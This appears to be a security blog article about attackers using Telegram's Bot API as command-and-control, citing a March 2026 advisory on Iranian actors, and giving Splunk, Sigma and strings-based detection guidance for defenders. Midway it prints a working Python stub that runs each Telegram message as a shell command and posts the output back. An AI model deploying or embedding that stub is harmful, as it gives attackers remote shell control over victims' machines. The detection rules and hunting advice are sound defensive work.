Telegram as a C2 Server: How It Works and How to Detect It

In March 2026, the FBI and CISA issued a joint advisory: Iranian state-linked actors had been using Telegram bots as their command-and-control infrastructure for at least two years — and most targets had no idea how it worked. The malware called home over HTTPS to a legitimate Telegram server. It blended in with normal traffic. Traditional defenses missed it completely.

TL;DR

• Attackers use Telegram’s Bot API to send commands and receive stolen data — the victim machine never needs Telegram installed
• The traffic goes to api.telegram.org over HTTPS port 443, making it look legitimate
• Real threat groups (Handala, Homeland Justice / IRGC) actively use this technique
• Building a basic Telegram C2 takes under 20 lines of Python
• Detection requires behavioral analysis: which processes talk to api.telegram.org and why?

Why This Should Concern You

Most organizations allow Telegram traffic. It’s a legitimate messaging app used by millions. When malware communicates via Telegram’s infrastructure, it inherits that legitimacy. Your firewall sees HTTPS traffic to a well-known service. Your proxy might not inspect it. Your SIEM has no rule for it.

This technique — abusing trusted third-party services for C2 — is documented in MITRE ATT&CK as T1102 (Web Service). Telegram is particularly attractive because the Bot API is free, reliable, globally accessible, and requires no infrastructure from the attacker. We covered the broader pattern in our earlier article on C2 without owning C2, but Telegram deserves its own deep dive.

How Telegram C2 Works — No App Required

Here’s the key insight that surprises most people: the victim machine never needs Telegram installed. The attacker only uses the Telegram Bot API — a simple HTTP interface that anyone can call.

When you create a Telegram bot, you get an API token (a long string like 7123456789:AAF...). With that token, you can:

• Send messages to a chat with POST /sendMessage
• Receive messages from a chat with GET /getUpdates
• Send files (screenshots, documents) with POST /sendDocument

That’s it. The malware on the victim’s machine just makes HTTP requests to https://api.telegram.org/bot<TOKEN>/. The attacker reads commands from their Telegram chat and receives stolen data there too. The entire C2 infrastructure runs on Telegram’s servers, maintained by Telegram, trusted by your firewall.

The Attack in Three Steps

[Victim machine]                    [api.telegram.org]              [Attacker's phone]
      |                                     |                               |
      |--- GET /getUpdates ---------------->|<-- Attacker types "/screenshot" |
      |<-- {"text": "/screenshot"} ---------|                               |
      |                                     |                               |
      | [Takes screenshot]                  |                               |
      |                                     |                               |
      |--- POST /sendDocument ------------->|-----> Screenshot delivered -->|

The malware polls getUpdates (or uses a webhook) to receive commands. It executes them locally — shell commands, file exfiltration, keylogging — and sends results back through sendDocument or sendMessage. The attacker manages everything from their Telegram app.

It’s This Simple to Build

To understand why this technique is so widespread, look at how little code it takes. This is a minimal Python C2 stub — the kind of thing that ends up embedded in malware:

import requests, subprocess, time

TOKEN = "7123456789:AAFxxxx"  # Bot token, hardcoded in the malware
CHAT_ID = "987654321"         # Attacker's Telegram chat ID
API = f"https://api.telegram.org/bot{TOKEN}"

def get_commands(offset=0):
    r = requests.get(f"{API}/getUpdates", params={"offset": offset, "timeout": 30})
    return r.json().get("result", [])

def send_output(text):
    requests.post(f"{API}/sendMessage", json={"chat_id": CHAT_ID, "text": text})

offset = 0
while True:
    for update in get_commands(offset):
        offset = update["update_id"] + 1
        cmd = update["message"]["text"]
        output = subprocess.getoutput(cmd)   # Execute shell command
        send_output(output)                  # Return result to attacker
    time.sleep(5)

This is 20 lines. It runs a shell command for every message the attacker sends. No custom domain, no server, no SSL certificate to manage. An entry-level threat actor can deploy this in a phishing attachment in an afternoon.

Production malware is more sophisticated — encrypted commands, staged payloads, persistence mechanisms — but the core principle is identical.

Real-World: Handala and IRGC Actors

The FBI’s March 2026 advisory CSA-260320 documented how Iranian cyber actors — specifically the Handala hacktivist group and Homeland Justice (linked to Iran’s IRGC) — deployed multi-stage Windows malware using Telegram as C2.

The attack chain:

1. Social engineering — phishing emails with fake document lures (fake KeePass installers, fabricated Pictory videos, counterfeit Telegram updates)
2. Stage 1 dropper — masquerades as a legitimate app, drops and executes Stage 2
3. Stage 2 implant — persistent backdoor that uses Telegram Bot API for C2
4. Exfiltration — screenshots, files, and credentials sent to attacker’s Telegram chat

Targets included journalists critical of the Iranian government, Iranian dissidents, and opposition groups. The FBI seized four Handala-linked domains in early 2026, but the Telegram-based infrastructure remained operational because it’s built on Telegram’s own servers — takedown requires working with Telegram directly.

Other malware families confirmed using this technique include TeleRAT (Android), Telecrypt (ransomware), Masad Stealer (crypto wallet theft), Lumma Stealer, Raven Stealer, and XWorm variants. This is not a niche technique — it’s mainstream.

Why Traditional Defenses Miss It

The fundamental problem: the attacker’s C2 traffic is indistinguishable from someone legitimately using a Telegram bot in their workflow. Threat intel feeds don’t flag api.telegram.org. SIEM rules for known-bad domains don’t trigger. This is why behavioral detection is the only reliable approach.

Blue Team: How to Detect Telegram C2

1. Network: Who Is Talking to api.telegram.org?

In most corporate environments, only a handful of systems should ever contact the Telegram Bot API. Start by baselining this.

What to look for in proxy/DNS logs:

• Any api.telegram.org requests from endpoints (not servers, not collaboration tools)
• High-frequency polling (requests every 5-30 seconds, not human-driven)
• Large outbound file transfers to api.telegram.org (exfiltration via sendDocument)
• Requests at unusual hours, or from systems that have no business purpose for Telegram

Splunk query — repeated Telegram Bot API polling:

index=proxy dest_host="api.telegram.org"
| stats count, dc(src_ip) as hosts, earliest(_time) as first, latest(_time) as last by src_ip
| where count > 50
| eval duration_min=round((last-first)/60,1)
| where duration_min > 10
| sort -count

This finds sources making many requests to api.telegram.org over time — the polling pattern of a C2 implant.

ntopng / network flow detection: Tools like ntop can fingerprint Telegram bot traffic specifically — the User-Agent strings, request intervals, and API endpoint patterns differ from the Telegram app itself.

2. Endpoint: Which Process Is Making the Request?

The process making the HTTP request is the smoking gun. Legitimate Telegram bot use comes from specific applications. Malware comes from unexpected processes.

Processes that should NEVER connect to api.telegram.org:

• cmd.exe, powershell.exe, wscript.exe, cscript.exe
• Office applications (winword.exe, excel.exe)
• Browsers spawning child processes
• python.exe, pythonw.exe in unexpected paths
• Any unsigned binary in %TEMP%, %APPDATA%, or user-writable directories

Sigma rule — suspicious process connecting to Telegram API:

title: Suspicious Process Connecting to Telegram Bot API
status: experimental
logsource:
  category: network_connection
  product: windows
detection:
  selection:
    DestinationHostname|contains: 'api.telegram.org'
  filter_legitimate:
    Image|endswith:
      - '\Telegram.exe'
      - '\chrome.exe'
      - '\firefox.exe'
      - '\msedge.exe'
  condition: selection and not filter_legitimate
fields:
  - Image
  - CommandLine
  - ParentImage
  - User
falsepositives:
  - Developer tools, automation scripts (review and whitelist)
level: high
tags:
  - attack.command_and_control
  - attack.t1102

3. Hardcoded Credentials in Malware

Telegram C2 malware must hardcode the bot token and chat ID — there’s no other way to authenticate. This means strings analysis often reveals the C2 channel directly.

FLOSS / strings scan looking for bot tokens:

# Telegram bot tokens always match this pattern
strings malware.exe | grep -E "[0-9]{8,10}:AA[a-zA-Z0-9_-]{33}"

If you find a bot token in a suspicious binary, you can interact with the Telegram API yourself to enumerate what chats the bot has access to — potentially revealing the attacker’s chat ID, username, or even message history (if they haven’t cleared it).

4. SIEM Correlation — Combining Signals

No single indicator is definitive. The power comes from correlation:

[Endpoint] suspicious binary in %TEMP%
    +
[Network] process connects to api.telegram.org
    +
[Network] 5-30 second polling interval
    +
[Network] outbound POST with large body (sendDocument)
    = HIGH CONFIDENCE Telegram C2

Build a correlation rule that fires when any two of these signals appear from the same host within a 15-minute window. Single signals generate too many false positives; combinations are highly reliable.

What You Can Do Today

If Telegram is not needed in your environment:

1. Block api.telegram.org at the proxy/firewall level — full stop
2. Block DNS resolution for *.telegram.org at your internal DNS resolver
3. If you use DNS-over-HTTPS (DoH) on endpoints, ensure it routes through your resolver

If Telegram is used legitimately:

1. Create an allowlist: only specific applications or user accounts may access api.telegram.org
2. Enable TLS inspection for Telegram traffic (where policy allows)
3. Monitor for Bot API endpoints (/getUpdates, /sendDocument, /sendMessage) in proxy logs — humans using the Telegram app don’t call these endpoints
4. Deploy the Sigma rule above in your EDR/SIEM immediately

Threat hunting starting point:

• Pull 30 days of DNS and proxy logs
• Filter for api.telegram.org connections
• For each source IP, identify the process making the request
• Any non-Telegram-app process is worth investigating

For incident response: If you suspect active Telegram C2, pivot from the bot token found in the binary. Document the chat ID and token as IOCs. Contact Telegram’s abuse team (abuse@telegram.org) with the bot token — they can disable the bot and may preserve evidence.

Related Posts

• C2 Without Owning C2: When Attackers Use Your Trusted Services — The broader pattern of abusing SaaS platforms (Google Docs, Slack, Trello) as C2 channels
• Wazuh for Threat Hunting — Open-source SIEM/XDR setup for detection engineering
• LolBins: Living Off the Land on Windows — How attackers abuse legitimate Windows tools, a closely related evasion technique

Sources

• FBI/CISA Advisory CSA-260320: Government of Iran Cyber Actors Deploy Telegram C2 — March 2026
• BleepingComputer: FBI warns of Handala hackers using Telegram in malware attacks
• Splunk: Handala’s Wiper — Threat Analysis and Detections
• SOCPrime: Telegram Abuse for C2 & Exfiltration — D&R Chronicles
• ntop: How to Identify and Block Telegram-based Botnets
• Dragos: Instant Messaging-Based Adversarial C2 Techniques and How to Detect Them
• Unit42: TeleRAT — Android Trojan Leveraging Telegram’s Bot API
• BleepingComputer: Telecrypt Ransomware Uses Telegram as C&C Server
• MITRE ATT&CK T1102: Web Service